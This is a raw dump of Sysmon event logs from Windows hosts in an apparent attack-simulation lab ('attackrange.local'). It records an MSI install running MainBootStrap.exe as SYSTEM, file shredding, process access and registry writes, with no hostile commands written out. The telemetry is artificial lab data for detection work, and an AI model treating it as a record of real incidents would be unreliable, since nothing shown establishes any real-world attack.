14:44:39.908{7BD73061-6E8E-613B-1107-00000000F001}4116C:\Windows\system32\msiexec.exeC:\ProgramData\Microsoft\DefaultPackMSI\MainBootStrap.exe2020-04-20 20:07:58.0002021-09-10 14:44:39.908 11241100x800000000000000043239Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localEXE2021-09-10 14:44:39.908{7BD73061-6E8E-613B-1107-00000000F001}4116C:\Windows\system32\msiexec.exeC:\ProgramData\Microsoft\DefaultPackMSI\MainBootStrap.exe2021-09-10 14:44:39.908 23542300x800000000000000043238Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:39.783{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Config.Msi\22b140.rbsMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000043237Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:39.783{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Temp\~DF0B46498A8E9FBCBC.TMPMD5=BF619EAC0CDF3F68D496EA9344137E8B,SHA256=076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560,IMPHASH=00000000000000000000000000000000falsefalse - shredded file with pattern 0x00 23542300x800000000000000043236Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:39.783{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Temp\~DF2F2E6CDA5707DAEE.TMPMD5=855A33BB4FB42C7CB964160B6CE6DC27,SHA256=026B84D624125B58389C4FB828F162BD1A8ADF2EFFEAEB643EF09C8C34E15046,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000043235Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:39.768{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9B7A3BE80719A2FEC91E67505FAD382F,SHA256=C49CA6C9A45C53987A981033319131EF58C900A2C6183CC26E1B8FDC5DED548A,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000043234Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:39.752{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F57-613B-1409-00000000F001}576C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000043233Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:39.752{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SystemMD5=355C75701A1B0263F1D8CB992CC7F412,SHA256=A2C7FADF50DCCB0A913B3024C8F797318C4FC3FE4891E5996797BD95AC5A3B2C,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000043232Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:39.690{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SystemMD5=1953DE82106290376633AF2A51E0EBEE,SHA256=13DB8CC460D17D25B31AF60B3E19DF3C732C3F8B2802D1A548ED3B66C2534C61,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013946Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:39.004{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E5C5609CC2EEEB12D95D4A611F307418,SHA256=5DB438AAFDE2D91FF6E1A4C27E45C59DF56BE9B6FB6302A4152529CA2A8AC349,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000043231Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:39.580{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F57-613B-1409-00000000F001}576C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000043230Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:39.580{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F57-613B-1409-00000000F001}576C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 11241100x800000000000000043229Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:39.549{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\UpdateRingSettings.dll2021-09-10 14:44:39.549 23542300x800000000000000043228Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:39.190{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=4A5A70BB6263016C1F31614DBECC4BBB,SHA256=E2E7A04AAD86F22EB816C7F13A7A848EAADD8771772D06B37DC671257DCFE7F9,IMPHASH=00000000000000000000000000000000falsetrue 11241100x800000000000000043227Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:39.018{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\qml\QtQuick\Window.2\windowplugin.dll2021-09-10 14:44:39.018 23542300x800000000000000043266Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:40.940{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=246F1BF64E4105329CC72279045E3AF8,SHA256=8CE230B4803647AEA5DBE510B833C430AE612A0918AE8E4F79CA6E648A78E1CE,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013947Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:40.020{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=420D9FA064C8065546432602203939D6,SHA256=2E3F6B15F7ED66AD2DD934A7AE6BFC4A657ACDF4019E901966E537DF181632B3,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000043265Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:40.658{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=0E917197E2E99E261FB73AED4EC2EAF5,SHA256=08BAC0C90C63F40607A53E88151C06A838151D5CC70C291AAC56459406A6CA2E,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000043264Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:40.346{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F58-613B-1609-00000000F001}6404C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043263Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:40.268{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F58-613B-1609-00000000F001}6404C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000043262Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:40.268{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F58-613B-1609-00000000F001}6404C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000043261Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:40.127{7BD73061-6D0B-613B-7F06-00000000F001}36602200C:\Windows\system32\csrss.exe{7BD73061-6F58-613B-1509-00000000F001}976C:\ProgramData\Microsoft\DefaultPackMSI\MainBootStrap.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000043260Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:40.065{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F58-613B-1509-00000000F001}976C:\ProgramData\Microsoft\DefaultPackMSI\MainBootStrap.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000043259Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:40.065{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043258Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:40.065{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043257Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:40.065{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043256Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:40.065{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043255Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:40.065{7BD73061-6E8E-613B-1107-00000000F001}41162596C:\Windows\system32\msiexec.exe{7BD73061-6F58-613B-1509-00000000F001}976C:\ProgramData\Microsoft\DefaultPackMSI\MainBootStrap.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6f453|C:\Windows\System32\ADVAPI32.dll+188af|C:\Windows\system32\Msi.dll+ec422|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000043254Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:40.070{7BD73061-6F58-613B-1509-00000000F001}976C:\ProgramData\Microsoft\DefaultPackMSI\MainBootStrap.exe1.0.0.0MainBootStrapMainBootStrap-MainBootStrap.exe"C:\ProgramData\Microsoft\DefaultPackMSI\MainBootStrap.exe" installC:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e72SystemMD5=9D9997F062E05C4A830A14A0D43B508A,SHA256=A12EE9BF211B59A17C9BAFA0336BAE7362F27665DBB0E00741E672985F444A26,IMPHASH=F34D5F2D4577ED6D9CEEC516C1F5A744{7BD73061-6E8E-613B-1107-00000000F001}4116C:\Windows\System32\msiexec.exeC:\Windows\system32\msiexec.exe /V 13241300x800000000000000043253Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:40.033{7BD73061-6E8E-613B-1107-00000000F001}4116C:\Windows\system32\msiexec.exeHKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{D066B018-448B-40C5-9034-259BBCC49351}\URLUpdateInfo(Empty) 13241300x800000000000000043252Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:44:40.033{7BD73061-6E8E-613B-1107-00000000F001}4116C:\Windows\system32\msiexec.exeHKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{D066B018-448B-40C5-9034-259BBCC49351}\PublisherMicrosoft 13241300x800000000000000043251Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:44:40.018{7BD73061-6E8E-613B-1107-00000000F001}4116C:\Windows\system32\msiexec.exeHKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{D066B018-448B-40C5-9034-259BBCC49351}\InstallSourceC:\Program Files\Microsoft Office\root\integration\Addons\ 23542300x800000000000000043301Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:41.987{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Config.Msi\22b140.rbsMD5=24576AEA9F0C86B4D4AF61684CF0F61D,SHA256=C57958B9946BB8B06229D5B05756361D574C7A6D7771D132E4703B86C1385A74,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000043300Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:41.987{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Temp\~DFAE1B3A2E4ED5FA1E.TMPMD5=BF619EAC0CDF3F68D496EA9344137E8B,SHA256=076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560,IMPHASH=00000000000000000000000000000000falsefalse - shredded file with pattern 0x00 23542300x800000000000000043299Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:41.971{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Temp\~DF8562E51D35C5BC98.TMPMD5=855A33BB4FB42C7CB964160B6CE6DC27,SHA256=026B84D624125B58389C4FB828F162BD1A8ADF2EFFEAEB643EF09C8C34E15046,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000043298Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:41.971{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Temp\~DFA0B81B86466268F0.TMPMD5=BF619EAC0CDF3F68D496EA9344137E8B,SHA256=076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560,IMPHASH=00000000000000000000000000000000falsefalse - shredded file with pattern 0x00 23542300x800000000000000043297Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:41.971{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Temp\~DF0C78795236DEB217.TMPMD5=855A33BB4FB42C7CB964160B6CE6DC27,SHA256=026B84D624125B58389C4FB828F162BD1A8ADF2EFFEAEB643EF09C8C34E15046,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000043296Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:41.971{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Installer\MSIC008.tmpMD5=5A72889A8D056A02195F8CA0F20E2900,SHA256=DBD51720D0D420164840C695FC46E6E68D409AB22D21AD1CC53ADD1B3CCBF623,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000043295Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:41.971{7BD73061-6DFF-613B-DF06-00000000F001}57961552C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+1c0e5|C:\Windows\System32\SHELL32.dll+5344e|C:\Windows\System32\SHELL32.dll+84772|C:\Windows\SYSTEM32\msi.dll+f7052|C:\Windows\SYSTEM32\msi.dll+f945f|C:\Windows\SYSTEM32\msi.dll+f8be4|C:\Windows\SYSTEM32\msi.dll+90aa4|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+4aace2|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+4ab6e3|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+464328|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+620c4|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+d4ccf|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+2394a2|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+174aca|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043294Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:41.971{7BD73061-6DFF-613B-DF06-00000000F001}57961552C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+1c0e5|C:\Windows\System32\SHELL32.dll+533b8|C:\Windows\System32\SHELL32.dll+84772|C:\Windows\SYSTEM32\msi.dll+f7052|C:\Windows\SYSTEM32\msi.dll+f945f|C:\Windows\SYSTEM32\msi.dll+f8be4|C:\Windows\SYSTEM32\msi.dll+90aa4|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+4aace2|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+4ab6e3|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+464328|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+620c4|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+d4ccf|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+2394a2|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe+174aca|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 